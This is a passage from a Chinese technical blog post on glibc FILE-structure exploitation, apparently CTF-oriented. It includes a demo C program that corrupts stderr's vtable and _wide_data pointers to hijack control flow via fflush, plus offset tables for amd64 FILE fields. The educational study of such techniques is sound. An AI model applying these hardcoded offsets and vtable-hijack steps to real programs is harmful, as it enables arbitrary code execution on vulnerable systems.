  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

函数调用链如下:

_IO_wfile_underflow_mmap
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)
_IO_wdefault_xsgetn
  • demo(_IO_wdefault_xsgetn):
//ubuntu 20.04

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
 
void backdoor()
{
    printf("\033[31m[!] Backdoor is called!\n");
    _exit(0);
}
 
void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);
 
    char *p1 = calloc(0x200, 1);
    char *p2 = calloc(0x200, 1);
    puts("[*] allocate two 0x200 chunks");
 
    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t libc_base_addr = puts_addr - 0x84420;
    printf("[*] libc base address: %p\n", (void *)libc_base_addr);
 
    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
    printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
 
    size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
    printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
 
    char *stderr2 = (char *)_IO_2_1_stderr_addr;
    puts("[+] step 1: change stderr->_flags to 0x800");
    *(size_t *)stderr2 = 0x800;
 
    puts("[+] step 2: change stderr->_mode to 1");
    *(size_t *)(stderr2 + 0xc0) = 1;
 
    puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
    //正常是call vtable + 0x60,这里借助了一个错位
    *(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20; 
 
    puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
    *(size_t *)(stderr2 + 0xa0) = (size_t)p1;
 
    puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
    *(size_t *)(p1 + 0xe0) = (size_t)p2; 
 
    puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr >  stderr->_wide_data->_wide_vtable->_IO_write_base");
    *(size_t *)(p1 + 0x20) = (size_t)1;
 
    puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
    // ► 0x7ffff7e435f5 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]        <backdoor>
    //rax ->> p2
    *(size_t *)(p2 + 0x18) = (size_t)(&backdoor);
 
    puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
    fflush(stderr);
}

附录

amd64:
 
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
00:0000│   (_IO_wfile_jumps) ◂— 0x0
01:0008│   (_IO_wfile_jumps+8) ◂— 0x0
02:0010│   (_IO_wfile_jumps+16) —▸  (_IO_file_finish)  
03:0018│   (_IO_wfile_jumps+24) —▸  (_IO_wfile_overflow)  
04:0020│   (_IO_wfile_jumps+32) —▸  (_IO_wfile_underflow)  
05:0028│   (_IO_wfile_jumps+40) —▸  (_IO_wdefault_uflow)  
06:0030│   (_IO_wfile_jumps+48) —▸  (_IO_wdefault_pbackfail)  
07:0038│   (_IO_wfile_jumps+56) —▸  (_IO_wfile_xsputn)  
08:0040│   (_IO_wfile_jumps+64) —▸  (__GI__IO_file_xsgetn)  
09:0048│   (_IO_wfile_jumps+72) —▸  (_IO_wfile_seekoff)  
0a:0050│   (_IO_wfile_jumps+80) —▸  (_IO_default_seekpos)  
0b:0058│   (_IO_wfile_jumps+88) —▸  (_IO_file_setbuf)  
0c:0060│   (_IO_wfile_jumps+96) —▸  (_IO_wfile_sync)  
0d:0068│   (_IO_wfile_jumps+104) —▸  (_IO_wfile_doallocate)  
0e:0070│   (_IO_wfile_jumps+112) —▸  (_IO_file_read)  
0f:0078│   (_IO_wfile_jumps+120) —▸  (_IO_file_write)  
10:0080│   (_IO_wfile_jumps+128) —▸  (_IO_file_seek)  
11:0088│   (_IO_wfile_jumps+136) —▸  (_IO_file_close)  
12:0090│   (_IO_wfile_jumps+144) —▸  (_IO_file_stat)  
13:0098│   (_IO_wfile_jumps+152) —▸  (_IO_default_showmanyc)  
14:00a0│   (_IO_wfile_jumps+160) —▸  (_IO_default_imbue)   
a8 ~ c0

参考链接

标签:fp,__,file,vtable,FILE,jumps,IO,20220701
From: https://www.cnblogs.com/7resp4ss/p/16891099.html

相关文章